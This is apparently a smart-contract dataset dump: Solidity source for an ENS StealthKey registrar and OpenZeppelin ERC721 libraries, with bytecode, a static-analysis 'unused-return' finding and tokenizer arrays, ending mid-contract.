[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,137
0x9647eBE6286913700694857C09b6848319255A83
pragma solidity ^0.7.6; import "@ensdomains/ens/contracts/ENS.sol"; import "./profiles/StealthKeyResolver.sol"; import "./profiles/AddrResolver.sol"; /** * A registrar that allocates StealthKey ready subdomains to the first person to claim them. * Based on the FIFSRegistrar contract here: * https://github.com/ensdomains/ens/blob/master/contracts/FIFSRegistrar.sol */ contract StealthKeyFIFSRegistrar { ENS public ens; bytes32 public rootNode; /** * Constructor. * @param _ens The address of the ENS registry. * @param _rootNode The node that this registrar administers. */ constructor(ENS _ens, bytes32 _rootNode) { ens = _ens; rootNode = _rootNode; } /** * Register a name, or change the owner of an existing registration. * @param _label The hash of the label to register. * @param _owner The address of the new owner. * @param _resolver The Stealth Key compatible resolver that will be used for this subdomain * @param _spendingPubKeyPrefix Prefix of the spending public key (2 or 3) * @param _spendingPubKey The public key for generating a stealth address * @param _viewingPubKeyPrefix Prefix of the viewing public key (2 or 3) * @param _viewingPubKey The public key to use for encryption */ function register( bytes32 _label, address _owner, address _resolver, uint256 _spendingPubKeyPrefix, uint256 _spendingPubKey, uint256 _viewingPubKeyPrefix, uint256 _viewingPubKey ) public { // calculate the node for this subdomain bytes32 _node = keccak256(abi.encodePacked(rootNode, _label)); // ensure the subdomain has not yet been claimed address _currentOwner = ens.owner(_node); require(_currentOwner == address(0x0), 'StealthKeyFIFSRegistrar: Already claimed'); // temporarily make this contract the subnode owner to allow it to update the stealth keys & address ens.setSubnodeOwner(rootNode, _label, address(this)); StealthKeyResolver(_resolver).setStealthKeys(_node, _spendingPubKeyPrefix, _spendingPubKey, _viewingPubKeyPrefix, _viewingPubKey); AddrResolver(_resolver).setAddr(_node, _owner); // transfer ownership to the registrant and set stealth key resolver ens.setSubnodeRecord(rootNode, _label, _owner, address(_resolver), 0); } } pragma solidity ^0.7.0; interface ENS { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); // Logged when an operator is added or removed. event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external virtual; function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external virtual; function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external virtual returns(bytes32); function setResolver(bytes32 node, address resolver) external virtual; function setOwner(bytes32 node, address owner) external virtual; function setTTL(bytes32 node, uint64 ttl) external virtual; function setApprovalForAll(address operator, bool approved) external virtual; function owner(bytes32 node) external virtual view returns (address); function resolver(bytes32 node) external virtual view returns (address); function ttl(bytes32 node) external virtual view returns (uint64); function recordExists(bytes32 node) external virtual view returns (bool); function isApprovedForAll(address owner, address operator) external virtual view returns (bool); } pragma solidity ^0.7.4; import "../ResolverBase.sol"; abstract contract StealthKeyResolver is ResolverBase { bytes4 constant private STEALTH_KEY_INTERFACE_ID = 0x69a76591; /// @dev Event emitted when a user updates their resolver stealth keys event StealthKeyChanged(bytes32 indexed node, uint256 spendingPubKeyPrefix, uint256 spendingPubKey, uint256 viewingPubKeyPrefix, uint256 viewingPubKey); /** * @dev Mapping used to store two secp256k1 curve public keys useful for * receiving stealth payments. The mapping records two keys: a viewing * key and a spending key, which can be set and read via the `setsStealthKeys` * and `stealthKey` methods respectively. * * The mapping associates the node to another mapping, which itself maps * the public key prefix to the actual key . This scheme is used to avoid using an * extra storage slot for the public key prefix. For a given node, the mapping * may contain a spending key at position 0 or 1, and a viewing key at position * 2 or 3. See the setter/getter methods for details of how these map to prefixes. * * For more on secp256k1 public keys and prefixes generally, see: * https://github.com/ethereumbook/ethereumbook/blob/develop/04keys-addresses.asciidoc#generating-a-public-key * */ mapping(bytes32 => mapping(uint256 => uint256)) _stealthKeys; /** * Sets the stealth keys associated with an ENS name, for anonymous sends. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param spendingPubKeyPrefix Prefix of the spending public key (2 or 3) * @param spendingPubKey The public key for generating a stealth address * @param viewingPubKeyPrefix Prefix of the viewing public key (2 or 3) * @param viewingPubKey The public key to use for encryption */ function setStealthKeys(bytes32 node, uint256 spendingPubKeyPrefix, uint256 spendingPubKey, uint256 viewingPubKeyPrefix, uint256 viewingPubKey) external authorised(node) { require( (spendingPubKeyPrefix == 2 || spendingPubKeyPrefix == 3) && (viewingPubKeyPrefix == 2 || viewingPubKeyPrefix == 3), "StealthKeyResolver: Invalid Prefix" ); emit StealthKeyChanged(node, spendingPubKeyPrefix, spendingPubKey, viewingPubKeyPrefix, viewingPubKey); // Shift the spending key prefix down by 2, making it the appropriate index of 0 or 1 spendingPubKeyPrefix -= 2; // Ensure the opposite prefix indices are empty delete _stealthKeys[node][1 - spendingPubKeyPrefix]; delete _stealthKeys[node][5 - viewingPubKeyPrefix]; // Set the appropriate indices to the new key values _stealthKeys[node][spendingPubKeyPrefix] = spendingPubKey; _stealthKeys[node][viewingPubKeyPrefix] = viewingPubKey; } /** * Returns the stealth key associated with a name. * @param node The ENS node to query. * @return spendingPubKeyPrefix Prefix of the spending public key (2 or 3) * @return spendingPubKey The public key for generating a stealth address * @return viewingPubKeyPrefix Prefix of the viewing public key (2 or 3) * @return viewingPubKey The public key to use for encryption */ function stealthKeys(bytes32 node) external view returns (uint256 spendingPubKeyPrefix, uint256 spendingPubKey, uint256 viewingPubKeyPrefix, uint256 viewingPubKey) { if (_stealthKeys[node][0] != 0) { spendingPubKeyPrefix = 2; spendingPubKey = _stealthKeys[node][0]; } else { spendingPubKeyPrefix = 3; spendingPubKey = _stealthKeys[node][1]; } if (_stealthKeys[node][2] != 0) { viewingPubKeyPrefix = 2; viewingPubKey = _stealthKeys[node][2]; } else { viewingPubKeyPrefix = 3; viewingPubKey = _stealthKeys[node][3]; } return (spendingPubKeyPrefix, spendingPubKey, viewingPubKeyPrefix, viewingPubKey); } function supportsInterface(bytes4 interfaceID) public virtual override pure returns(bool) { return interfaceID == STEALTH_KEY_INTERFACE_ID || super.supportsInterface(interfaceID); } } pragma solidity ^0.7.4; import "../ResolverBase.sol"; abstract contract AddrResolver is ResolverBase { bytes4 constant private ADDR_INTERFACE_ID = 0x3b3b57de; bytes4 constant private ADDRESS_INTERFACE_ID = 0xf1cb7e06; uint constant private COIN_TYPE_ETH = 60; event AddrChanged(bytes32 indexed node, address a); event AddressChanged(bytes32 indexed node, uint coinType, bytes newAddress); mapping(bytes32=>mapping(uint=>bytes)) _addresses; /** * Sets the address associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param a The address to set. */ function setAddr(bytes32 node, address a) virtual external authorised(node) { setAddr(node, COIN_TYPE_ETH, addressToBytes(a)); } /** * Returns the address associated with an ENS node. * @param node The ENS node to query. * @return The associated address. */ function addr(bytes32 node) virtual public view returns (address payable) { bytes memory a = addr(node, COIN_TYPE_ETH); if(a.length == 0) { return address(0); } return bytesToAddress(a); } function setAddr(bytes32 node, uint coinType, bytes memory a) virtual public authorised(node) { emit AddressChanged(node, coinType, a); if(coinType == COIN_TYPE_ETH) { emit AddrChanged(node, bytesToAddress(a)); } _addresses[node][coinType] = a; } function addr(bytes32 node, uint coinType) virtual public view returns(bytes memory) { return _addresses[node][coinType]; } function supportsInterface(bytes4 interfaceID) virtual override public pure returns(bool) { return interfaceID == ADDR_INTERFACE_ID || interfaceID == ADDRESS_INTERFACE_ID || super.supportsInterface(interfaceID); } } pragma solidity ^0.7.4; abstract contract ResolverBase { bytes4 private constant INTERFACE_META_ID = 0x01ffc9a7; function supportsInterface(bytes4 interfaceID) virtual public pure returns(bool) { return interfaceID == INTERFACE_META_ID; } function isAuthorised(bytes32 node) internal virtual view returns(bool); modifier authorised(bytes32 node) { require(isAuthorised(node)); _; } function bytesToAddress(bytes memory b) internal pure returns(address payable a) { require(b.length == 20); assembly { a := div(mload(add(b, 32)), exp(256, 12)) } } function addressToBytes(address a) internal pure returns(bytes memory b) { b = new bytes(20); assembly { mstore(add(b, 32), mul(a, exp(256, 12))) } } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c80633f15457f14610046578063f51535b01461007a578063faff50a814610110575b600080fd5b61004e61012e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010e600480360360e081101561009057600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050610152565b005b61011861058d565b6040518082815260200191505060405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060015488604051602001808381526020018281526020019250505060405160208183030381529060405280519060200120905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302571be3836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156101fb57600080fd5b505afa15801561020f573d6000803e3d6000fd5b505050506040513d602081101561022557600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146102bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806105946028913960400191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306ab59236001548b306040518463ffffffff1660e01b8152600401808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019350505050602060405180830381600087803b15801561035857600080fd5b505af115801561036c573d6000803e3d6000fd5b505050506040513d602081101561038257600080fd5b8101908080519060200190929190505050508673ffffffffffffffffffffffffffffffffffffffff16632b02deab83888888886040518663ffffffff1660e01b81526004018086815260200185815260200184815260200183815260200182815260200195505050505050600060405180830381600087803b15801561040757600080fd5b505af115801561041b573d6000803e3d6000fd5b505050508673ffffffffffffffffffffffffffffffffffffffff1663d5fa2b00838a6040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b15801561049057600080fd5b505af11580156104a4573d6000803e3d6000fd5b5050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635ef2c7f06001548b8b8b60006040518663ffffffff1660e01b8152600401808681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200195505050505050600060405180830381600087803b15801561056a57600080fd5b505af115801561057e573d6000803e3d6000fd5b50505050505050505050505050565b6001548156fe537465616c74684b6579464946535265676973747261723a20416c726561647920636c61696d6564a26469706673582212209545269ca71e65a53d75b3a44948cec3b6d96afb5504623351b1a8eac07e1abd64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2581, 15878, 2063, 2575, 22407, 2575, 2683, 17134, 19841, 2692, 2575, 2683, 18139, 28311, 2278, 2692, 2683, 2497, 2575, 2620, 18139, 21486, 2683, 17788, 2629, 2050, 2620, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1030, 4372, 16150, 9626, 7076, 1013, 4372, 2015, 1013, 8311, 1013, 4372, 2015, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 17879, 1013, 22150, 14839, 6072, 4747, 6299, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 17879, 1013, 5587, 14343, 19454, 6299, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1037, 24580, 2008, 2035, 24755, 4570, 22150, 14839, 3201, 4942, 9527, 28247, 2000, 1996, 2034, 2711, 2000, 4366, 2068, 1012, 1008, 2241, 2006, 1996, 10882, 10343, 2890, 24063, 19848, 3206, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,138
0x96485aD3d864Fb13feb95532545da7aE518cc12a
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual 